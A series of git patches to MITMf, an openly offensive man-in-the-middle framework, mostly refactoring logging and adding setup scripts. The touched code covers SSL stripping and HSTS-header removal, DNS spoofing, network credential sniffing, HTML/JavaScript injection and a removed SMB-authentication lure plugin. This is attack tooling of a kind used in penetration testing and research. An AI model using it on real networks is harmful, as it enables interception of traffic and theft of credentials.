msgpack-python configobj mitmflib From bb8ee46b82c259c93c32f0a58337c925d97cd450 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 15 Jun 2015 00:18:55 +0200 Subject: [PATCH 203/323] added kali setup script and updated readme --- README.md | 13 ++++++++----- kali_setup.sh | 6 ++++++ other_setup.sh | 3 +++ plugins/Inject.py | 1 + setup.sh | 3 --- 5 files changed, 18 insertions(+), 8 deletions(-) create mode 100755 kali_setup.sh create mode 100644 other_setup.sh delete mode 100755 setup.sh diff --git a/README.md b/README.md index a87832e..67a9a9a 100644 --- a/README.md +++ b/README.md @@ -12,6 +12,7 @@ Contact me at: - IRC on Freenode: #MITMf - Email: byt3bl33d3r@gmail.com +**Update: Installation steps have changed! Please read the new [instructions](#installation)** **Before submitting issues, please read the [FAQ](#faq) and the appropriate [section](#submitting-issues).** Available plugins @@ -81,12 +82,14 @@ How to install on Kali Installation ============ -If MITMf is not in your distro's repo or you just want the latest version: -- Run the command ```git clone https://github.com/byt3bl33d3r/MITMf.git``` to clone this directory -- Run the ```setup.sh``` script -- Run the command ```pip install --upgrade -r requirements.txt``` to install all Python dependencies +If you're rocking Kali and want the latest version: +- Clone this repository +- Run the ```kali_setup.sh``` script -On Kali Linux, if you get an error while installing the ```pypcap``` package or when starting MITMf you see: ```ImportError: no module named pcap```, run ```apt-get install python-pypcap``` to fix it +If you're rocking any other Linux distro: +- Clone this repository +- Run the ```other_setup.sh``` script +- Run the command ```pip install --upgrade -r requirements.txt``` to install all Python dependencies Submitting Issues ================= diff --git a/kali_setup.sh b/kali_setup.sh new file mode 100755 index 0000000..d90d0b5 --- /dev/null +++ b/kali_setup.sh @@ -0,0 +1,6 @@ +#!/usr/bin/env bash + +git submodule init && git submodule update --recursive +apt-get install -y python-capstone python-twisted python-requests python-scapy python-dnspython python-cryptography python-crypto +apt-get install -y python-msgpack python-configobj python-pefile python-ipy python-openssl python-pypcap +pip install Pillow mitmflib diff --git a/other_setup.sh b/other_setup.sh new file mode 100644 index 0000000..3c8052a --- /dev/null +++ b/other_setup.sh @@ -0,0 +1,3 @@ +#!/usr/bin/env bash + +git submodule init && git submodule update --recursive \ No newline at end of file diff --git a/plugins/Inject.py b/plugins/Inject.py index d86b5ef..b832ce4 100644 --- a/plugins/Inject.py +++ b/plugins/Inject.py @@ -170,6 +170,7 @@ class Inject(CacheKill, Plugin): options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.") options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.") options.add_argument("--html-payload", type=str, default='', help="String you would like to inject.") + options.add_argument("--html-file", type=argparse.FileType('r'), help='File containg HTML you would like to inject') options.add_argument("--match-str", type=str, default=None, help="String you would like to match and place your payload before. ( by default)") options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.") group = options.add_mutually_exclusive_group(required=False) diff --git a/setup.sh b/setup.sh deleted file mode 100755 index 282b969..0000000 --- a/setup.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/usr/bin/env bash - -git submodule init && git submodule update --recursive From e25edc21c6b97ff56c4ff63609166c7786ae96d7 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 15 Jun 2015 00:21:51 +0200 Subject: [PATCH 204/323] updated readme.md again --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 67a9a9a..91b2cae 100644 --- a/README.md +++ b/README.md @@ -13,6 +13,7 @@ Contact me at: - Email: byt3bl33d3r@gmail.com **Update: Installation steps have changed! Please read the new [instructions](#installation)** + **Before submitting issues, please read the [FAQ](#faq) and the appropriate [section](#submitting-issues).** Available plugins From 951937bac45d687130d478712445d4a63d11bad5 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 15 Jun 2015 00:27:09 +0200 Subject: [PATCH 205/323] commented out unfinished option in Inject.py --- plugins/Inject.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/Inject.py b/plugins/Inject.py index b832ce4..cb9c337 100644 --- a/plugins/Inject.py +++ b/plugins/Inject.py @@ -170,7 +170,7 @@ class Inject(CacheKill, Plugin): options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.") options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.") options.add_argument("--html-payload", type=str, default='', help="String you would like to inject.") - options.add_argument("--html-file", type=argparse.FileType('r'), help='File containg HTML you would like to inject') + #options.add_argument("--html-file", type=argparse.FileType('r'), help='File containg HTML you would like to inject') options.add_argument("--match-str", type=str, default=None, help="String you would like to match and place your payload before. ( by default)") options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.") group = options.add_mutually_exclusive_group(required=False) From f99080fc4cb3821b40676cdd4aea8f263051c05f Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 15 Jun 2015 01:04:47 +0200 Subject: [PATCH 206/323] fixed error in Exception handling in SMBserver.py --- core/servers/smb/SMBserver.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/servers/smb/SMBserver.py b/core/servers/smb/SMBserver.py index 0c7f47c..e2656e8 100644 --- a/core/servers/smb/SMBserver.py +++ b/core/servers/smb/SMBserver.py @@ -62,7 +62,7 @@ class SMBserver(ConfigWatcher): except socketerror as e: if "Address already in use" in e: - shutdown("\n[-] Unable to start SMB server on port {}: port already in use".format(listenPort)) + shutdown("\n[-] Unable to start SMB server on port {}: port already in use".format(self.smb_port)) def configureLogging(self, formatter): #yes I know this looks awful, yuck From 254d0ab713e75072c53949ae05118efdaa12ec87 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Thu, 18 Jun 2015 08:53:36 +0200 Subject: [PATCH 207/323] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 91b2cae..3a5fad3 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,7 @@ MITMf V0.9.7 Framework for Man-In-The-Middle attacks -Quick tutorials, examples and developer updates at: http://sign0f4.blogspot.it +Quick tutorials, examples and developer updates at: https://byt3bl33d3r.github.io This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-proxy) and is an attempt to revive and update the project. From 7e35d26514f20787a33663ca51cda6d79a0503c0 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Fri, 19 Jun 2015 12:13:18 +0200 Subject: [PATCH 208/323] should fix bug number 2 of issue #122 --- core/sslstrip/ServerConnection.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index f751746..d88023d 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -143,7 +143,10 @@ class ServerConnection(HTTPClient): self.isCompressed = True elif (key.lower()== 'strict-transport-security'): - mitmf_logger.info("{} [type:{}-{} os:{}] Zapped a strict-trasport-security header".format(self.client.getClientIP(), self.clientInfo[0], self.clientInfo[1], self.clientInfo[2])) + if self.clientInfo is not None: + mitmf_logger.info("{} [type:{}-{} os:{}] Zapped a strict-trasport-security header".format(self.client.getClientIP(), self.clientInfo[0], self.clientInfo[1], self.clientInfo[2])) + else: + mitmf_logger.info("{} Zapped a strict-trasport-security header".format(self.client.getClientIP())) elif (key.lower() == 'content-length'): self.contentLength = value From fb0e8a37626b9dcbb424a7de5ef94eb8e67908f8 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 20 Jun 2015 14:16:29 +0200 Subject: [PATCH 209/323] fixed #126 --- plugins/SMBAuth.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/SMBAuth.py b/plugins/SMBAuth.py index e6657fc..fb7d95c 100644 --- a/plugins/SMBAuth.py +++ b/plugins/SMBAuth.py @@ -32,7 +32,7 @@ class SMBAuth(Inject, Plugin): def initialize(self, options): self.target_ip = SystemConfig.getIP(options.interface) - Inject.initialize(options) + Inject.initialize(self, options) self.html_payload = self._get_data() def _get_data(self): From ff0ada2a39ff005876d89699129640043c8712cb Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 14 Jul 2015 17:40:19 +0200 Subject: [PATCH 210/323] Revamped logging , plugins will be re-added later once refactored --- core/configwatcher.py | 56 +- plugins/SMBAuth.py => core/logger.py | 41 +- core/netcreds/NetCreds.py | 16 +- core/sergioproxy/ProxyPlugins.py | 22 +- core/servers/dns/DNSchef.py | 26 +- core/servers/smb/SMBserver.py | 15 +- core/sslstrip/ClientRequest.py | 39 +- core/sslstrip/DnsCache.py | 4 +- core/sslstrip/SSLServerConnection.py | 14 +- core/sslstrip/ServerConnection.py | 89 ++-- core/sslstrip/ServerConnectionFactory.py | 7 +- core/sslstrip/URLMonitor.py | 15 +- core/utils.py | 25 +- libs/bdfactory | 2 +- mitmf.py | 158 ++---- other_setup.sh | 0 plugins/AppCachePoison.py | 203 ------- plugins/BeefAutorun.py | 122 ----- plugins/BrowserProfiler.py | 65 --- plugins/BrowserSniper.py | 194 ------- plugins/CacheKill.py | 45 -- plugins/FerretNG.py | 105 ---- plugins/FilePwn.py | 640 ----------------------- plugins/Inject.py | 108 ++-- plugins/JsKeylogger.py | 71 --- plugins/Replace.py | 80 --- plugins/Responder.py | 128 ----- plugins/SMBTrap.py | 24 - plugins/SSLstrip+.py | 51 -- plugins/Screenshotter.py | 63 --- plugins/Spoof.py | 132 ----- plugins/Upsidedownternet.py | 69 --- plugins/__init__.py | 2 - plugins/plugin.py | 72 ++- 34 files changed, 351 insertions(+), 2352 deletions(-) rename plugins/SMBAuth.py => core/logger.py (50%) mode change 100644 => 100755 other_setup.sh delete mode 100644 plugins/AppCachePoison.py delete mode 100644 plugins/BeefAutorun.py delete mode 100644 plugins/BrowserProfiler.py delete mode 100644 plugins/BrowserSniper.py delete mode 100644 plugins/CacheKill.py delete mode 100644 plugins/FerretNG.py delete mode 100644 plugins/FilePwn.py delete mode 100644 plugins/JsKeylogger.py delete mode 100644 plugins/Replace.py delete mode 100644 plugins/Responder.py delete mode 100644 plugins/SMBTrap.py delete mode 100644 plugins/SSLstrip+.py delete mode 100644 plugins/Screenshotter.py delete mode 100644 plugins/Spoof.py delete mode 100644 plugins/Upsidedownternet.py diff --git a/core/configwatcher.py b/core/configwatcher.py index beb8061..2fde1a3 100644 --- a/core/configwatcher.py +++ b/core/configwatcher.py @@ -1,46 +1,48 @@ -#! /usr/bin/env python2.7 +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# import logging + from mitmflib.watchdog.observers import Observer from mitmflib.watchdog.events import FileSystemEventHandler from configobj import ConfigObj logging.getLogger("watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages -mitmf_logger = logging.getLogger('mitmf') +log = logging.getLogger('mitmf') class ConfigWatcher(FileSystemEventHandler): - _instance = None - config = ConfigObj("./config/mitmf.conf") + @property + def config(self): + return ConfigObj("./config/mitmf.conf") - @staticmethod - def getInstance(): - if ConfigWatcher._instance is None: - ConfigWatcher._instance = ConfigWatcher() + def on_modified(self, event): + log.debug("[{}] Detected configuration changes, reloading!".format(self.name)) + self.on_config_change() - return ConfigWatcher._instance - - def startConfigWatch(self): + def start_config_watch(self): observer = Observer() observer.schedule(self, path='./config', recursive=False) observer.start() - def getConfig(self): - return self.config - - def on_modified(self, event): - mitmf_logger.debug("[{}] Detected configuration changes, reloading!".format(self.__class__.__name__)) - self.reloadConfig() - self.onConfigChange() - - def onConfigChange(self): + def on_config_change(self): """ We can subclass this function to do stuff after the config file has been modified""" pass - - def reloadConfig(self): - try: - self.config = ConfigObj("./config/mitmf.conf") - except Exception as e: - mitmf_logger.error("Error reloading config file: {}".format(e)) - pass diff --git a/plugins/SMBAuth.py b/core/logger.py similarity index 50% rename from plugins/SMBAuth.py rename to core/logger.py index fb7d95c..f6e7b34 100644 --- a/plugins/SMBAuth.py +++ b/core/logger.py @@ -1,4 +1,5 @@ -#!/usr/bin/env python2.7 +#! /usr/bin/env python2.7 +# -*- coding: utf-8 -*- # Copyright (c) 2014-2016 Marcello Salvati # @@ -18,24 +19,28 @@ # USA # -from core.utils import SystemConfig -from plugins.plugin import Plugin -from plugins.Inject import Inject +import logging +import sys -class SMBAuth(Inject, Plugin): - name = "SMBAuth" - optname = "smbauth" - desc = "Evoke SMB challenge-response auth attempts" - version = "0.1" - has_opts = False - def initialize(self, options): - self.target_ip = SystemConfig.getIP(options.interface) +class logger: - Inject.initialize(self, options) - self.html_payload = self._get_data() + log_level = None + __shared_state = {} - def _get_data(self): - return ''\ - ''\ - '' % tuple([self.target_ip]*3) + def __init__(self): + self.__dict__ = self.__shared_state + + def setup_logger(self, name, formatter, logfile='./logs/mitmf.log'): + fileHandler = logging.FileHandler(logfile) + fileHandler.setFormatter(formatter) + streamHandler = logging.StreamHandler(sys.stdout) + streamHandler.setFormatter(formatter) + + logger = logging.getLogger(name) + logger.propagate = False + logger.addHandler(streamHandler) + logger.addHandler(fileHandler) + logger.setLevel(self.log_level) + + return logger diff --git a/core/netcreds/NetCreds.py b/core/netcreds/NetCreds.py index 451729b..36ed0a4 100644 --- a/core/netcreds/NetCreds.py +++ b/core/netcreds/NetCreds.py @@ -20,7 +20,7 @@ logging.getLogger("scapy.runtime").setLevel(logging.ERROR) from scapy.all import * conf.verb=0 -mitmf_logger = logging.getLogger('mitmf') +log = logging.getLogger('mitmf') DN = open(devnull, 'w') pkt_frag_loads = OrderedDict() @@ -47,13 +47,11 @@ class NetCreds: version = "1.0" - def sniffer(self, myip, interface): - #set the filter to our ip to prevent capturing traffic coming/going from our box - sniff(iface=interface, prn=pkt_parser, filter="not host {}".format(myip), store=0) - #sniff(iface=interface, prn=pkt_parser, store=0) + def sniffer(self, interface): + sniff(iface=interface, prn=pkt_parser, store=0) - def start(self, myip, interface): - t = threading.Thread(name='NetCreds', target=self.sniffer, args=(interface, myip,)) + def start(self, interface): + t = threading.Thread(name='NetCreds', target=self.sniffer, args=(interface,)) t.setDaemon(True) t.start() @@ -903,7 +901,7 @@ def printer(src_ip_port, dst_ip_port, msg): print_str = '[{} > {}] {}'.format(src_ip_port, dst_ip_port, msg) # All credentials will have dst_ip_port, URLs will not - mitmf_logger.info("[NetCreds] {}".format(print_str)) + log.info("[NetCreds] {}".format(print_str)) else: print_str = '[{}] {}'.format(src_ip_port.split(':')[0], msg) - mitmf_logger.info("[NetCreds] {}".format(print_str)) + log.info("[NetCreds] {}".format(print_str)) diff --git a/core/sergioproxy/ProxyPlugins.py b/core/sergioproxy/ProxyPlugins.py index 4a8a509..e7b6199 100644 --- a/core/sergioproxy/ProxyPlugins.py +++ b/core/sergioproxy/ProxyPlugins.py @@ -21,7 +21,7 @@ import logging import inspect import traceback -mitmf_logger = logging.getLogger("mitmf") +log = logging.getLogger('mitmf') class ProxyPlugins: ''' @@ -44,11 +44,11 @@ class ProxyPlugins: _instance = None plist = [] - mthdDict = {"connectionMade": "clientRequest", - "handleStatus": "serverResponseStatus", - "handleResponse": "serverResponse", - "handleHeader": "serverHeaders", - "handleEndHeaders":"serverHeaders"} + mthdDict = {"connectionMade" : "request", + "handleStatus" : "responsestatus", + "handleResponse" : "response", + "handleHeader" : "responseheaders", + "handleEndHeaders": "responseheaders"} pmthds = {} @@ -65,12 +65,12 @@ class ProxyPlugins: for p in plugins: self.addPlugin(p) - mitmf_logger.debug("[ProxyPlugins] Loaded {} plugin/s".format(len(self.plist))) + log.debug("[ProxyPlugins] Loaded {} plugin/s".format(len(self.plist))) def addPlugin(self,p): '''Load a plugin''' self.plist.append(p) - mitmf_logger.debug("[ProxyPlugins] Adding {} plugin".format(p.name)) + log.debug("[ProxyPlugins] Adding {} plugin".format(p.name)) for mthd,pmthd in self.mthdDict.iteritems(): try: self.pmthds[mthd].append(getattr(p,pmthd)) @@ -80,7 +80,7 @@ class ProxyPlugins: def removePlugin(self,p): '''Unload a plugin''' self.plist.remove(p) - mitmf_logger.debug("[ProxyPlugins] Removing {} plugin".format(p.name)) + log.debug("[ProxyPlugins] Removing {} plugin".format(p.name)) for mthd,pmthd in self.mthdDict.iteritems(): self.pmthds[mthd].remove(p) @@ -105,7 +105,7 @@ class ProxyPlugins: del args['self'] - mitmf_logger.debug("[ProxyPlugins] hooking {}()".format(fname)) + log.debug("[ProxyPlugins] hooking {}()".format(fname)) #calls any plugin that has this hook try: for f in self.pmthds[fname]: @@ -115,7 +115,7 @@ class ProxyPlugins: pass except Exception as e: #This is needed because errors in hooked functions won't raise an Exception + Traceback (which can be infuriating) - mitmf_logger.error("[ProxyPlugins] Exception occurred in hooked function") + log.error("[ProxyPlugins] Exception occurred in hooked function") traceback.print_exc() #pass our changes to the locals back down diff --git a/core/servers/dns/DNSchef.py b/core/servers/dns/DNSchef.py index 9cf829d..e99da38 100755 --- a/core/servers/dns/DNSchef.py +++ b/core/servers/dns/DNSchef.py @@ -46,11 +46,7 @@ from core.utils import shutdown from mitmflib.dnslib import * from IPy import IP -formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -dnschef_logger = logging.getLogger('dnschef') -fileHandler = logging.FileHandler("./logs/dnschef/dnschef.log") -fileHandler.setFormatter(formatter) -dnschef_logger.addHandler(fileHandler) +log = logging.getLogger('mitmf') # DNSHandler Mixin. The class contains generic functions to parse DNS requests and # calculate an appropriate response based on user parameters. @@ -70,8 +66,8 @@ class DNSHandler(): # Parse data as DNS d = DNSRecord.parse(data) - except Exception, e: - dnschef_logger.info("{} [DNSChef] Error: invalid DNS request".format(self.client_address[0])) + except Exception as e: + log.info("{} [DNSChef] Error: invalid DNS request".format(self.client_address[0])) else: # Only Process DNS Queries @@ -115,7 +111,7 @@ class DNSHandler(): # Create a custom response to the query response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q) - dnschef_logger.info("{} [DNSChef] Cooking the response of type '{}' for {} to {}".format(self.client_address[0], qtype, qname, fake_record)) + log.info("{} [DNSChef] Cooking the response of type '{}' for {} to {}".format(self.client_address[0], qtype, qname, fake_record)) # IPv6 needs additional work before inclusion: if qtype == "AAAA": @@ -184,7 +180,7 @@ class DNSHandler(): response = response.pack() elif qtype == "*" and not None in fake_records.values(): - dnschef_logger.info("{} [DNSChef] Cooking the response of type '{}' for {} with {}".format(self.client_address[0], "ANY", qname, "all known fake records.")) + log.info("{} [DNSChef] Cooking the response of type '{}' for {} with {}".format(self.client_address[0], "ANY", qname, "all known fake records.")) response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap,qr=1, aa=1, ra=1), q=d.q) @@ -259,7 +255,7 @@ class DNSHandler(): # Proxy the request else: - dnschef_logger.debug("{} [DNSChef] Proxying the response of type '{}' for {}".format(self.client_address[0], qtype, qname)) + log.debug("{} [DNSChef] Proxying the response of type '{}' for {}".format(self.client_address[0], qtype, qname)) nameserver_tuple = random.choice(nameservers).split('#') response = self.proxyrequest(data, *nameserver_tuple) @@ -339,13 +335,13 @@ class DNSHandler(): sock.close() except Exception, e: - dnschef_logger.warning("[DNSChef] Could not proxy request: {}".format(e)) + log.warning("[DNSChef] Could not proxy request: {}".format(e)) else: return reply def hstsbypass(self, real_domain, fake_domain, nameservers, d): - dnschef_logger.info("{} [DNSChef] Resolving '{}' to '{}' for HSTS bypass".format(self.client_address[0], fake_domain, real_domain)) + log.info("{} [DNSChef] Resolving '{}' to '{}' for HSTS bypass".format(self.client_address[0], fake_domain, real_domain)) response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q) @@ -435,7 +431,7 @@ class DNSChef(ConfigWatcher): return DNSChef._instance - def onConfigChange(self): + def on_config_change(self): config = self.config['MITMf']['DNS'] self.port = int(config['port']) @@ -472,8 +468,8 @@ class DNSChef(ConfigWatcher): self.hsts = True def start(self): - self.onConfigChange() - self.startConfigWatch() + self.on_config_change() + self.start_config_watch() try: if self.config['MITMf']['DNS']['tcp'].lower() == 'on': diff --git a/core/servers/smb/SMBserver.py b/core/servers/smb/SMBserver.py index e2656e8..2a44702 100644 --- a/core/servers/smb/SMBserver.py +++ b/core/servers/smb/SMBserver.py @@ -9,15 +9,16 @@ from core.servers.smb.KarmaSMB import KarmaSMBServer from core.configwatcher import ConfigWatcher from core.utils import shutdown -#Logging is something I'm going to have to clean up in the future - class SMBserver(ConfigWatcher): - _instance = None - impacket_ver = version.VER_MINOR - server_type = ConfigWatcher.config["MITMf"]["SMB"]["type"].lower() - smbchallenge = ConfigWatcher.config["MITMf"]["SMB"]["Challenge"] - smb_port = int(ConfigWatcher.config["MITMf"]["SMB"]["port"]) + _instance = None + + def __init__(self): + + self.impacket_ver = version.VER_MINOR + self.server_type = self.config["MITMf"]["SMB"]["type"].lower() + self.smbchallenge = self.config["MITMf"]["SMB"]["Challenge"] + self.smb_port = int(self.config["MITMf"]["SMB"]["port"]) @staticmethod def getInstance(): diff --git a/core/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py index 8d2d30e..014cf90 100644 --- a/core/sslstrip/ClientRequest.py +++ b/core/sslstrip/ClientRequest.py @@ -40,7 +40,7 @@ from URLMonitor import URLMonitor from CookieCleaner import CookieCleaner from DnsCache import DnsCache -mitmf_logger = logging.getLogger('mitmf') +log = logging.getLogger('mitmf') class ClientRequest(Request): @@ -74,24 +74,23 @@ class ClientRequest(Request): dregex = re.compile("({})".format("|".join(map(re.escape, real.keys())))) headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer']) - if 'if-none-match' in headers: - del headers['if-none-match'] - if 'host' in headers: host = self.urlMonitor.URLgetRealHost(str(headers['host'])) - mitmf_logger.debug("[ClientRequest][HSTS] Modifing HOST header: {} -> {}".format(headers['host'], host)) + log.debug("[ClientRequest][HSTS] Modifing HOST header: {} -> {}".format(headers['host'], host)) headers['host'] = host self.setHeader('Host', host) if 'accept-encoding' in headers: del headers['accept-encoding'] - mitmf_logger.debug("[ClientRequest] Zapped encoding") + log.debug("[ClientRequest] Zapped encoding") + + if 'if-none-match' in headers: + del headers['if-none-match'] if 'if-modified-since' in headers: del headers['if-modified-since'] - if 'cache-control' in headers: - del headers['cache-control'] + headers['pragma'] = 'no-cache' return headers @@ -110,11 +109,11 @@ class ClientRequest(Request): if os.path.exists(scriptPath): return scriptPath - mitmf_logger.warning("[ClientRequest] Error: Could not find lock.ico") + log.warning("[ClientRequest] Error: Could not find lock.ico") return "lock.ico" def handleHostResolvedSuccess(self, address): - mitmf_logger.debug("[ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address)) + log.debug("[ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address)) host = self.getHeader("host") headers = self.cleanHeaders() client = self.getClientIP() @@ -152,22 +151,22 @@ class ClientRequest(Request): self.dnsCache.cacheResolution(hostparts[0], address) if (not self.cookieCleaner.isClean(self.method, client, host, headers)): - mitmf_logger.debug("[ClientRequest] Sending expired cookies") + log.debug("[ClientRequest] Sending expired cookies") self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path)) elif (self.urlMonitor.isSecureFavicon(client, path)): - mitmf_logger.debug("[ClientRequest] Sending spoofed favicon response") + log.debug("[ClientRequest] Sending spoofed favicon response") self.sendSpoofedFaviconResponse() elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): if 'securelink' in headers: del headers['securelink'] - mitmf_logger.debug("[ClientRequest] Sending request via SSL ({})".format((client,url))) + log.debug("[ClientRequest] Sending request via SSL ({})".format((client,url))) self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) else: - mitmf_logger.debug("[ClientRequest] Sending request via HTTP") + log.debug("[ClientRequest] Sending request via HTTP") #self.proxyViaHTTP(address, self.method, path, postData, headers) port = 80 if len(hostparts) > 1: @@ -176,7 +175,7 @@ class ClientRequest(Request): self.proxyViaHTTP(address, self.method, path, postData, headers, port) def handleHostResolvedError(self, error): - mitmf_logger.debug("[ClientRequest] Host resolution error: {}".format(error)) + log.debug("[ClientRequest] Host resolution error: {}".format(error)) try: self.finish() except: @@ -186,23 +185,23 @@ class ClientRequest(Request): address = self.dnsCache.getCachedAddress(host) if address != None: - mitmf_logger.debug("[ClientRequest] Host cached: {} {}".format(host, address)) + log.debug("[ClientRequest] Host cached: {} {}".format(host, address)) return defer.succeed(address) else: - mitmf_logger.debug("[ClientRequest] Host not cached.") + log.debug("[ClientRequest] Host not cached.") self.customResolver.port = self.urlMonitor.getResolverPort() try: - mitmf_logger.debug("[ClientRequest] Resolving with DNSChef") + log.debug("[ClientRequest] Resolving with DNSChef") address = str(self.customResolver.query(host)[0].address) return defer.succeed(address) except Exception: - mitmf_logger.debug("[ClientRequest] Exception occured, falling back to Twisted") + log.debug("[ClientRequest] Exception occured, falling back to Twisted") return reactor.resolve(host) def process(self): - mitmf_logger.debug("[ClientRequest] Resolving host: {}".format(self.getHeader('host'))) + log.debug("[ClientRequest] Resolving host: {}".format(self.getHeader('host'))) host = self.getHeader('host').split(":")[0] if self.hsts: diff --git a/core/sslstrip/DnsCache.py b/core/sslstrip/DnsCache.py index 355fd12..8d77e6c 100644 --- a/core/sslstrip/DnsCache.py +++ b/core/sslstrip/DnsCache.py @@ -18,7 +18,7 @@ import logging -mitmf_logger = logging.getLogger('mitmf') +log = logging.getLogger('mitmf') class DnsCache: @@ -51,7 +51,7 @@ class DnsCache: def setCustomRes(self, host, ip_address=None): if ip_address is not None: self.cache[host] = ip_address - mitmf_logger.debug("[DNSCache] DNS entry set: %s -> %s" %(host, ip_address)) + log.debug("[DNSCache] DNS entry set: %s -> %s" %(host, ip_address)) else: if self.customAddress is not None: self.cache[host] = self.customAddress diff --git a/core/sslstrip/SSLServerConnection.py b/core/sslstrip/SSLServerConnection.py index 4015276..6011f7e 100644 --- a/core/sslstrip/SSLServerConnection.py +++ b/core/sslstrip/SSLServerConnection.py @@ -23,7 +23,7 @@ import string from ServerConnection import ServerConnection from URLMonitor import URLMonitor -mitmf_logger = logging.getLogger('mitmf') +log = logging.getLogger('mitmf') class SSLServerConnection(ServerConnection): @@ -59,11 +59,11 @@ class SSLServerConnection(ServerConnection): for v in values: if v[:7].lower()==' domain': dominio=v.split("=")[1] - mitmf_logger.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v) + log.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v) real = self.urlMonitor.real if dominio in real: v=" Domain=%s"%real[dominio] - mitmf_logger.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v) + log.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v) newvalues.append(v) value = ';'.join(newvalues) @@ -87,13 +87,13 @@ class SSLServerConnection(ServerConnection): if ((not link.startswith('http')) and (not link.startswith('/'))): absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link - mitmf_logger.debug("[SSLServerConnection] Found path-relative link in secure transmission: " + link) - mitmf_logger.debug("[SSLServerConnection] New Absolute path-relative link: " + absoluteLink) + log.debug("[SSLServerConnection] Found path-relative link in secure transmission: " + link) + log.debug("[SSLServerConnection] New Absolute path-relative link: " + absoluteLink) elif not link.startswith('http'): absoluteLink = "http://"+self.headers['host']+link - mitmf_logger.debug("[SSLServerConnection] Found relative link in secure transmission: " + link) - mitmf_logger.debug("[SSLServerConnection] New Absolute link: " + absoluteLink) + log.debug("[SSLServerConnection] Found relative link in secure transmission: " + link) + log.debug("[SSLServerConnection] New Absolute link: " + absoluteLink) if not absoluteLink == "": absoluteLink = absoluteLink.replace('&', '&') diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index d88023d..a22bea3 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -16,11 +16,11 @@ # USA # -import logging +import logging import re import string -import random -import zlib +import random +import zlib import gzip import StringIO import sys @@ -29,8 +29,10 @@ from mitmflib.user_agents import parse from twisted.web.http import HTTPClient from URLMonitor import URLMonitor from core.sergioproxy.ProxyPlugins import ProxyPlugins +from core.logger import logger -mitmf_logger = logging.getLogger('mitmf') +formatter = logging.Formatter("%(asctime)s %(clientip)s [type:%(browser)s-%(browserv)s os:%(clientos)s] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("ServerConnection", formatter) class ServerConnection(HTTPClient): @@ -56,7 +58,7 @@ class ServerConnection(HTTPClient): self.headers = headers self.client = client self.printPostData = True - self.clientInfo = None + self.clientInfo = {} self.urlMonitor = URLMonitor.getInstance() self.hsts = URLMonitor.getInstance().hsts self.app = URLMonitor.getInstance().app @@ -66,27 +68,18 @@ class ServerConnection(HTTPClient): self.contentLength = None self.shutdownComplete = False - def getPostPrefix(self): - return "POST" - def sendRequest(self): if self.command == 'GET': - try: - user_agent = parse(self.headers['user-agent']) - self.clientInfo = (user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family) - mitmf_logger.info("{} [type:{}-{} os:{}] {}".format(self.client.getClientIP(), user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family, 